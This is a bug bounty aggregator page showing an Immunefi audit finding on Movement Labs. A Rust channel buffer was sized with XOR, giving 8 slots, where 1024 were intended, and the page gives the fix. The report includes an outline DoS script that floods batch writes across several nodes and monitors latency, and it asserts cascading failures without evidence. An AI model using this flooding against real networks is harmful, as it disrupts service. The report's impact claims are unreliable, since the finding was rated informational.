Skip to content
DoS Audit finding Intermediate

Channel buffer size in block proposer is too low leading to network delays and resource exhaustion

The block proposer's channel buffer was sized using the XOR operator instead of a bit shift, giving 8 slots rather than the intended 1024. This small buffer could cause backpressure, block delays and resource exhaustion, potentially freezing network transactions.

Rhaydden Follow

Originally disclosed on Immunefi

Informational View original
  • Disclosed after under an hour

#41337 [BC-Insight] Channel buffer size in block proposer is too low leading to network delays and resource exhaustion

Submitted on Mar 13th 2025 at 23:26:23 UTC by @Rhaydden for Attackathon | Movement Labs

Description

Brief/Intro

The block proposer's channel buffer size implementation uses the XOR operator (^) instead of bit shifting (<<), resulting in a buffer of 8 slots instead of the intended 1024. This significantly smaller buffer creates a bottleneck in block processing, potentially freeze network transactions by exploiting the backpressure mechanism. This would cause temporary transaction freezing during production.

Vulnerability Details

Take a look at the run_block_proposer function where the channel buffer size is incorrectly specified:

Rust
let (sender, mut receiver) = tokio::sync::mpsc::channel(2 ^ 10); 

^ operator in rust peerforms bitwise XOR, not exponentiation. This results in:

  • 2 (binary: 0010) XOR 10 (binary: 1010) = 8 (binary: 1000)
  • Actual buffer size: 8 slots
  • The actual buffer size intended: 1024 slots (2¹⁰)

The small buffer creates a critical bottleneck between the block builder and publisher components:

  1. Block Builder (tick_build_blocks):
Rust
sender.send(block).await?;
  1. Block Publisher (read_blocks):
Rust
	match timeout(Duration::from_millis(remaining), receiver.recv()).await {
				Ok(Some(block)) => {
					// Process the block
					blocks.push(block);
				}

The timing mechanism in read_blocks becomes unreliable with the small buffer as it frequently hits timeouts during normal operation.

Impact Details

this falls under:
"Temporary freezing of network transactions by delaying one block by 500% or more of the average block time"

because the 8-slot buffer creates severe backpressure during normal operation. Block delays occur when the buffer fills, forcing the block builder to wait. Txns processing can effectively freeze as a result.

References

https://github.com/immunefi-team/attackathon-movement//blob/a2790c6ac17b7cf02a69aea172c2b38d2be8ce00/protocol-units/da/movement/protocol/light-node/src/sequencer.rs#L265

Proof of Concept

Proof of Concept

This is a step by step run down of how this could be exploitted:

  1. Environment Setup
Rust
# Build the light node
cargo build --release
  1. Simple attack script setup
Rust
use tonic::Request;
use movement_protocol::grpc::{BatchWriteRequest, Blob};

struct DoSAttack {
    node_endpoints: Vec<String>,
    num_accounts: usize,
}

impl DoSAttack {
    fn new(endpoints: Vec<String>) -> Self {
        Self {
            node_endpoints: endpoints,
            num_accounts: 20,
        }
    }
}
  1. Create attack txns:
Rust
fn create_attack_transaction() -> Blob {
    Blob {
        data: generate_valid_but_complex_transaction(),
        // Include valid signature and other required fields
    }
}

fn generate_attack_batch(size: usize) -> BatchWriteRequest {
    BatchWriteRequest {
        blobs: (0..size)
            .map(|_| create_attack_transaction())
            .collect(),
    }
}
  1. Execute attack pattern
Rust
async fn execute_attack(&self, endpoint: String) {
    let client = connect_to_node(endpoint).await;
    
    // Phase 1: Fill the channel (8 slots)
    let batch1 = generate_attack_batch(8);
    client.batch_write(Request::new(batch1)).await?;
    
    // Phase 2: Create backpressure
    tokio::time::sleep(Duration::from_millis(100)).await;
    let batch2 = generate_attack_batch(16);
    client.batch_write(Request::new(batch2)).await?;
    
    // Phase 3: Amplify
    tokio::time::sleep(Duration::from_millis(100)).await;
    let batch3 = generate_attack_batch(32);
    client.batch_write(Request::new(batch3)).await?;
}
  1. Coordinate multi-node attack
Rust
async fn launch_coordinated_attack(&self) {
    let attack_futures: Vec<_> = self.node_endpoints
        .iter()
        .map(|endpoint| {
            tokio::spawn(self.execute_attack(endpoint.clone()))
        })
        .collect();
    
    futures::future::join_all(attack_futures).await;
}
  1. Monitor impact
Rust
async fn monitor_attack_impact(&self, endpoint: String) {
    loop {
        // Check node responsiveness
        let health = check_node_health(endpoint.clone()).await;
        
        // Monitor transaction latency
        let latency = measure_transaction_latency(endpoint.clone()).await;
        
        // Log results
        println!("Node health: {:?}, Latency: {}ms", health, latency);
        
        tokio::time::sleep(Duration::from_secs(1)).await;
    }
}

Expected Results

  1. After Phase 1 (0-1 seconds):
  • Channel fills up (8 slots)
  • Block builder starts experiencing delays
  1. After Phase 2 (1-2 seconds):
  • Block builder becomes blocked
  • Memory pressure increases
  • Transaction processing slows significantly
  1. After Phase 3 (2+ seconds):
  • Node becomes unresponsive
  • Network synchronization issues appear
  • Other nodes start experiencing cascading effects

Fix

Diff
 	pub async fn run_block_proposer(&self) -> Result<(), anyhow::Error> {
-		let (sender, mut receiver) = tokio::sync::mpsc::channel(2 ^ 10);
+		let (sender, mut receiver) = tokio::sync::mpsc::channel(1 << 10);
 
 		loop {
 			match futures::try_join!(

The original report as published on Immunefi, by Rhaydden. Images and videos are our own copies; raw HTML is shown as text. View it on Immunefi.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

The developer used the XOR operator instead of a left-shift operator when calculating the channel buffer size, producing 8 instead of 1024.

Impact

The small buffer could cause block delays and resource exhaustion, potentially freezing network transactions temporarily.

What the attacker needed

Ability to send batch write requests to the node

The fix

The channel buffer size should be calculated with a left shift (1 << 10) instead of XOR.

How it was found

  1. Build the light node in release mode.
  2. Set up a client that can send batch write requests to node endpoints.
  3. Send a batch of 8 transactions to fill the channel.
  4. Wait briefly, then send a batch of 16 transactions to create backpressure.
  5. Wait again, then send a batch of 32 transactions to amplify the effect.
  6. Repeat against multiple nodes and monitor node health and transaction latency.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

A channel is a queue used to pass data between parts of a program. The code meant to create a queue with 1024 slots but used the wrong operator, so it only made 8 slots. A tiny queue fills up quickly, making the program wait and slow down.

What is DoS?

A request that exhausts resources or crashes a component. Many programs forbid testing it; reports usually show it from code, not by attacking.

More by Rhaydden

View all

36 more disclosed reports, best first.

More from Movement Labs

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Denial of service

The lesson behind this report.

A request that exhausts resources or crashes a component. Many programs forbid testing it; reports usually show it from code, not by attacking.